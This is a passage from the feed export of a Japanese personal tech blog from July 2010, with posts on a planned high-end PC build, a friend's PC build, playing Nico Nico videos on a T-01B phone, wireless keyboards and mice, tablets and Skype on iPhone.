width="170"&gt;Core i7 980X Extreme Edition BOX&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000097661/" target="_blank"&gt;http://kakaku.com/item/K0000097661/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;94000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;GPU&lt;/td&gt; &lt;td width="170"&gt;EAH5970 *2 CFX&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000070047/" target="_blank"&gt;http://kakaku.com/item/K0000070047/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;133200&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;Memory&lt;/td&gt; &lt;td width="170"&gt;DDR3 2G *3 Triple-Channel&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000001980/" target="_blank"&gt;http://kakaku.com/item/K0000001980/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;13500&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;SSD&lt;/td&gt; &lt;td width="170"&gt;OCZSSD2-1VTX60G *2 RAID0&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000011882/" target="_blank"&gt;http://kakaku.com/item/K0000011882/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;28000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;DiskDrive&lt;/td&gt; &lt;td width="170"&gt;適当&lt;/td&gt; &lt;td width="183"&gt;&amp;nbsp;&lt;/td&gt; &lt;td width="39"&gt;4000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;Power&lt;/td&gt; &lt;td width="170"&gt;X7 900&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000054117/" target="_blank"&gt;http://kakaku.com/item/K0000054117/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;15000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;PC Case&lt;/td&gt; &lt;td width="170"&gt;Six Hundred SE&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000092422/" target="_blank"&gt;http://kakaku.com/item/K0000092422/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;7500&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt; &lt;hr&gt;  &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;ディスプレイやキーボード、マウスとかはあるので購入しません。 &lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;合計金額30万。構成をみるだけでもヤバさを感じるPCですね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;GPUが悩ましいところです。&lt;/p&gt; &lt;p&gt;Radeonであれば HD 4970のCFXで4コアにするのがいいんですけど、GeForceはまだGTX495みたいなデュアルチップが出ていない。&lt;/p&gt; &lt;p&gt;だがGTX480にしないとPhysXに対応できない。&lt;/p&gt; &lt;p&gt;GeForce向けのゲーム（Crysis）を快適に動かすにはどちらがいいんだろうか。&lt;/p&gt; &lt;p&gt;今のところ候補としては後者。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;このブログを見た人、アドバイスをいただければ幸いです。&lt;/p&gt; &lt;p&gt;期限は8月1日までですが。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;完成次第、写真とベンチマーク測定の結果を投稿したいと思います。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8841321909971947061?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8841321909971947061/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8841321909971947061&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8841321909971947061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8841321909971947061'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/blog-post_1012.html' title='夏休みの自由工作（笑）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2833126431991896216</id><published>2010-07-25T02:01:00.001+09:00</published><updated>2010-07-25T02:02:10.605+09:00</updated><title type='text'>エアコン壊れた！と思ったら直った。</title><content type='html'>&lt;p&gt;このくそ真夏、エアコンがこわれた！と思ってフィルターをのぞいたら問題はなかった。&lt;/p&gt; &lt;p&gt;とおもったらきれいに埃が敷き詰まってて汚れてるかどうかがわからなかっただけだった。&lt;/p&gt; &lt;p&gt;全部取り除いたら以前よりも冷えるようになりましたとさ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そして今の部屋のPC環境&lt;/p&gt; &lt;p&gt;これがメイン。サーバーのディスプレイを使わなくなったのでメインにつなげました。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TEscSkYRvSI/AAAAAAAAACE/QJ2dDvyPkuA/s1600-h/PH_60%5B11%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="PH_60" border="0" alt="PH_60" src="http://lh5.ggpht.com/_toMCQOU2NRI/TEscTDWVj_I/AAAAAAAAACI/ST-L-zibMGQ/PH_60_thumb%5B5%5D.jpg?imgmax=800" width="324" height="244"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これがサーバー。&lt;/p&gt; &lt;p&gt;テレビにつないでいつでも使えるようにしました。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TEscTmavN6I/AAAAAAAAACQ/e3MK0IaBM6M/s1600-h/PH_62%5B8%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="PH_62" border="0" alt="PH_62" src="http://lh6.ggpht.com/_toMCQOU2NRI/TEscUdi1PbI/AAAAAAAAACU/gmkExFxfT24/PH_62_thumb%5B4%5D.jpg?imgmax=800" width="324" height="244"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;無線キーボードマウス便利ですよ！&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;皆さんも、エアコンの掃除は徹底して行いましょう。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2833126431991896216?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2833126431991896216/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2833126431991896216&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2833126431991896216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2833126431991896216'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/blog-post_25.html' title='エアコン壊れた！と思ったら直った。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_toMCQOU2NRI/TEscTDWVj_I/AAAAAAAAACI/ST-L-zibMGQ/s72-c/PH_60_thumb%5B5%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1719830504247225286</id><published>2010-07-24T16:48:00.001+09:00</published><updated>2010-07-25T02:43:06.431+09:00</updated><title type='text'>T-01Bでニコニコ動画</title><content type='html'>&lt;p&gt;見れるとはいいませんが、一応「&lt;a href="http://www.uzard.com/en/main/main.asp"&gt;uZerdWebP&lt;/a&gt;」を使えば表示はできる。&lt;/p&gt; &lt;p&gt;けどもカクカクでまともに見れたものではありませんでした。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;もうあきらめつつもありました。&lt;/p&gt; &lt;p&gt;が！追加機能で見れるようにしてくださった方がいましたよ！！！&lt;/p&gt; &lt;p&gt;というわけで本日は、その方法を紹介します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まずは&lt;a href="http://soft.wince.ne.jp/soft/Detail/Opera10_nico2/PID4509/"&gt;ここ&lt;/a&gt;から「Opera10_niko2」をダウンロードして、デバイスにインストール。（事前にOpera Mobileのインストールが必要）&lt;/p&gt; &lt;p&gt;そうしたら、プログラムからnico2を起動、IDやPass,キャッシュファイルの保存先フォルダを設定しておきましょう。&lt;/p&gt; &lt;p&gt;フォルダの指定でSDカードにするとエラーが起きます。&lt;/p&gt; &lt;p&gt;Operaを使ってニコニコを開くと、本来動画が表示される場所に再生方法が表示されます。&lt;/p&gt; &lt;p&gt;そこから選択すると、Niko2が起動しファイルのDLが始まります。&lt;/p&gt; &lt;p&gt;再生を押すと、IEで再生されます。（ダウンロードが完了していなくても、再生できます。）&lt;/p&gt; &lt;p&gt;対応に関してはT-01A,T-01Bで動作することから、X02T,IS02も大丈夫でしょう。&lt;/p&gt; &lt;p&gt;auの方は回線速度が大丈夫かどうかですが。&lt;/p&gt; &lt;p&gt;作者ページ : &lt;a href="http://d.hatena.ne.jp/wm_gamer/"&gt;http://d.hatena.ne.jp/wm_gamer/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あと、T-01Bで無線キーボードマウスも使えたのでそれも合わせて動画で。&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:def3b89c-a5b9-4126-8344-295ab5cc01c2" class="wlWriterSmartContent"&gt;&lt;embed height="355" type="application/x-shockwave-flash" width="425" src="http://www.youtube.com/v/z30vbGvR-yg&amp;amp;hl=ja_JP&amp;amp;fs=1" wmode="transparent"&gt;&lt;/embed&gt;&lt;/div&gt; &lt;p&gt;入力した内容&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Logicoolの無線キーボードマウスを買いました。&lt;br&gt;T-01Bにに接続して動作チェックを行います。&lt;br&gt;ついでにニコニコ動画が砕石できるようになったので投稿します。&lt;/p&gt; &lt;p&gt;動画のキャッシュを消していかないと容量不足によるエラーが発生しますのでご注意ください。&lt;/p&gt; &lt;p&gt;なんか若干エラー吹いたようですが、一応ちゃんと使えました。&lt;br&gt;以上です。ありがとうございました。 &lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;まぁ使えるけど、それほど使う機会はないでしょうね（笑）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1719830504247225286?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1719830504247225286/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1719830504247225286&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1719830504247225286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1719830504247225286'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/t-01b.html' title='T-01Bでニコニコ動画'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1643136471384429262</id><published>2010-07-23T20:58:00.001+09:00</published><updated>2010-07-23T20:58:47.256+09:00</updated><title type='text'>WindowsのタブレットPC</title><content type='html'>&lt;p&gt;あーぁ、ASUS Eee Pad はAndroid一筋になったようですね。&lt;/p&gt; &lt;p&gt;WindowsのタブレットPC探してみるもいいGPU搭載したのは無いし、そもそもノートPCのディスプレイひっくり返せますみたいなタブレットPCばっかり。&lt;/p&gt; &lt;p&gt;MSIのはWindows 7搭載だけどAtomかぁ。&lt;/p&gt; &lt;p&gt;一つどこかが出してくれてもいいんじゃないかなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まぁこれからモバイルはAndroidの時代になるんでしょうね。&lt;/p&gt; &lt;p&gt;まぁその市場に面白いソフトが出回ること祈ります。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というか、作ればいいんですよね。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1643136471384429262?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1643136471384429262/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1643136471384429262&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1643136471384429262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1643136471384429262'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/windowspc.html' title='WindowsのタブレットPC'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-204010806502140475</id><published>2010-07-22T14:00:00.007+09:00</published><updated>2010-07-22T14:32:19.084+09:00</updated><title type='text'>Skype for iPhoneが常駐できるようになったようです。（マルチタスクに対応）</title><content type='html'>&lt;p&gt;iPhoneユーザーの皆さん。朗報ですよ！&lt;/p&gt;&lt;p&gt;Skypeの公式クライアントがバックグラウンドで常駐できるようになりました。&lt;/p&gt;&lt;p&gt;現在友達のiPhone3GSをつかっていろいろ動作の検証を行っています。&lt;/p&gt;&lt;p&gt;会議チャットの機能を利用することも可能になっています。&lt;/p&gt;&lt;p&gt;またスリープモード時でもSkypeの着信を通常の着信と同じように利用できます。チャットの受信もバイブレーターで通知してくれるようです。&lt;/p&gt;&lt;p&gt;バッテリーの消費は、大体2分で1%程度使用するようです。&lt;/p&gt;&lt;p&gt;電力消費を軽減するようなマルチタスクの仕組みなのにちょっとひどいかな。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;iPhoneの場合、アプリケーションは意図的に終了しない限り常駐してしまいますのでご利用の際はご注意ください。&lt;/p&gt;&lt;/p&gt;常駐して利用する場合には内部バッテリーの交換ができないので、ケース型の外部バッテリーを利用すると良いかも知れません。&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-204010806502140475?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/204010806502140475/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=204010806502140475&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/204010806502140475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/204010806502140475'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/skype-for-iphone.html' title='Skype for iPhoneが常駐できるようになったようです。（マルチタスクに対応）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-927307912211254034</id><published>2010-07-20T00:53:00.001+09:00</published><updated>2010-07-22T02:51:31.241+09:00</updated><title type='text'>タブレット型端末</title><content type='html'>&lt;p&gt;まさかiPadが今回のアップデートではマルチタスクに対応しない、だと・・・？&lt;/p&gt; &lt;p&gt;iPhoneのマルチタスク機能で驚いてる諸君。&lt;/p&gt; &lt;p&gt;モバイル端末でのマルチタスクは2005年のW-zero3ですでに実現されていたのですよ。&lt;/p&gt; &lt;p&gt;それをいまさら騒ぐことって・・・。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;といいつつもタブレット型の端末には興味あるんですよねー。&lt;/p&gt; &lt;p&gt;まぁモバイル端末の急速な発展途上で適当なものを買うより、当分は待ったほうがいいかな。&lt;/p&gt; &lt;p&gt;Windows 7を搭載した端末だったら普通にCounter Strikeとかできるのかな。&lt;/p&gt; &lt;p&gt;加速度センサーや電子コンパスでポインティングできたら面白そうだね。（iPhoneにGun rangeってゲームがすでにあります。）&lt;/p&gt; &lt;p&gt;とりあえず対戦とかで気軽に楽しめるものがほしいですね。3G回線じゃラグUzeeeeeeeeってなると思いますが。&lt;/p&gt; &lt;p&gt;せめて無線LANやBluetoothで通信対戦ができれば・・・。&lt;/p&gt; &lt;p&gt;ASUSからはEEE Pad、MSIからはWindPad。&lt;/p&gt; &lt;p&gt;いろいろあるねぇ。3万とかだったら余裕で飛びつくのに。&lt;/p&gt; &lt;p&gt;いつ発売するんだろう。そして金がない。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-927307912211254034?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/927307912211254034/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=927307912211254034&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/927307912211254034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/927307912211254034'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/blog-post_20.html' title='タブレット型端末'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4252937227034988764</id><published>2010-07-17T23:35:00.001+09:00</published><updated>2010-07-20T05:03:54.790+09:00</updated><title type='text'>友達のPCを作ってきました。</title><content type='html'>&lt;p&gt;今日3時から行くはずだったのですが、友達が寝ていて結局出発できたのは4時。&lt;/p&gt; &lt;p&gt;車が4時半までしか使えないという条件の中、あきらめつつも買い出しへ。&lt;/p&gt; &lt;p&gt;目的地のGoodWillについたのが4時15分。間に合わないという確定の元パーツ選び。&lt;/p&gt; &lt;p&gt;購入したものは以下&lt;/p&gt; &lt;p&gt;・マザーボード MSI 870A-G54 1万円&lt;br&gt;・CPU AMD AthronII X2 250 7000円&lt;br&gt;・GPU GTS250 （メーカー忘れた） 1.2万円&lt;br&gt;・Memory DDR3 1G*2 （メーカー（ｒｙ）&lt;br&gt;・ディスクドライブ SAMSUNGの適当なやつ 2700円&lt;br&gt;・HDD SeaGate500G 4500円&lt;br&gt;・電源 500W 適当なやつ。3000円&lt;br&gt;・PCケース GIGABYTE GZ-X2BPD 5000円&lt;br&gt;・マウス Logicool MX518 3000円&lt;br&gt;・キーボード Logicoolの何か。 4000円&lt;br&gt;・ヘッドフォン AudioTechnica ATH-A500 9000円&lt;/p&gt; &lt;p&gt;こんな感じですかね。&lt;/p&gt; &lt;p&gt;本当はSSDをOS用ドライブにして別でデータ用ドライブを購入するつもりだったんですが、売り切れで；ｗ；`&lt;/p&gt; &lt;p&gt;1.4万でRead250M/sがあったのに・・・。&lt;/p&gt; &lt;p&gt;これで合計7万円。まぁまぁかな。&lt;/p&gt; &lt;p&gt;ネットで最安値だったら6.5万ぐらいになってたかも。&lt;/p&gt; &lt;p&gt;キーボードとマウスを無線にして俺のスマートフォンにつなげてテストすればよかった・・・。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4252937227034988764?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4252937227034988764/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4252937227034988764&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4252937227034988764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4252937227034988764'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/pc.html' title='友達のPCを作ってきました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5063920596495671591</id><published>2010-07-16T02:03:00.002+09:00</published><updated>2010-07-20T04:57:58.188+09:00</updated><title type='text'>Unifyingいいじゃん!</title><content type='html'>&lt;p&gt;Bluetoothのほうがいいかなって思ってたけど、Bluetooth規制がかかってるWindows Mobileの端末「T-01B」を使ってる自分としてはUnifyingはかなり魅力的&lt;/p&gt; &lt;p&gt;憶測だけど、USBアダプタにUnifyingレシーバーさせば、キーボードとマウス両方を使えるんだよね?!&lt;/p&gt; &lt;p&gt;もしそうなら買っちゃおうかな。&lt;/p&gt; &lt;p&gt;大容量バッテリーと、キーボード、マウス。&lt;/p&gt; &lt;p&gt;出費はおそらく2.5万ぐらいか。&lt;/p&gt; &lt;p&gt;だれか試したことがある方がいたらコメントをお願いします＞＜&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;と思ったけど2機以上を動作させる場合ドライバをインストールしないといけないんだよね。&lt;/p&gt; &lt;p&gt;Windows Mobile用のドライバなんてないから作るしかないなぁ。&lt;/p&gt; &lt;p&gt;それよりもBluetoothをネットと同時に使えるようにすることを考えたほうがよさそうだ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;いや・・・まてよ。&lt;/p&gt; &lt;p&gt;根本的に、無線マウス付無線キーボード買うかハブ機能付き無線キーボードかってそこに無線マウスさせばいいだけの話じゃないか。&lt;/p&gt; &lt;p&gt;「Wireless Desktop MK700（6000円）」 かちょっと高いけど「Cordless Desktop MX5500 Revolution MX-5500（1．3万円）」かな。 &lt;/p&gt; &lt;p&gt;金がないからたぶん前者だろうなぁ。というか後者Bluetoothじゃん。&lt;/p&gt; &lt;p&gt;そういえば、お気に入りだったサンワサプライのP2っていうマウスパッドどこ行ったんだろう。 &lt;/p&gt; &lt;p&gt;無かったら買わないとガラスの机じゃ反応しなさそうだし。 &lt;/p&gt; &lt;p&gt;DarkfieldとかBlueTrakマウス良いなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;そしてお金が（ｒｙ&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5063920596495671591?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5063920596495671591/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5063920596495671591&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5063920596495671591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5063920596495671591'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/unifying.html' title='Unifyingいいじゃん!'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8298720052859824676</id><published>2010-07-12T20:49:00.001+09:00</published><updated>2010-07-12T20:49:08.295+09:00</updated><title type='text'>マウスが寿命のようです。</title><content type='html'>&lt;p&gt;もう買い換えないと普通に操作するにも支障が。&lt;/p&gt; &lt;p&gt;ゲームもやらなくなったことだし、ワイヤレスマウスにしようかな。&lt;/p&gt; &lt;p&gt;どうせならキーボードも一緒に無線化!って思うよね。&lt;/p&gt; &lt;p&gt;BluetoothかUnifyingか。迷うなぁ。&lt;/p&gt; &lt;p&gt;まぁBluetoothにするけどね。&lt;/p&gt; &lt;p&gt;なんかいいマウスないかなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今月はT-01Bの大容量バッテリーとバッテリーチャージャー、＋αで1.5万ぐらいは出ていくはず。&lt;/p&gt; &lt;p&gt;余裕がほしい、いろいろな方向で。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8298720052859824676?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8298720052859824676/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8298720052859824676&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8298720052859824676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8298720052859824676'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/blog-post.html' title='マウスが寿命のようです。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1632073533153228261</id><published>2010-07-12T11:20:00.000+09:00</published><updated>2010-10-06T01:00:49.286+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='未分類'/><title type='text'>Bloggerに移動しました。</title><content type='html'>&lt;div id="msgcns!28B145D1A9833FCA!524" class="bvMsg"&gt; &lt;p&gt;少し使い勝手が悪いのでWindows Live SpaceからBloggerに移動しました。&lt;/p&gt; &lt;p&gt;今までありがとう、Windows Live Space。&lt;/p&gt;&lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まぁ、今までのでも問題はなかったんですけどね。  &lt;p&gt;使い勝手というかカスタマイズ性に欠けていたのでこちらに移動しました。  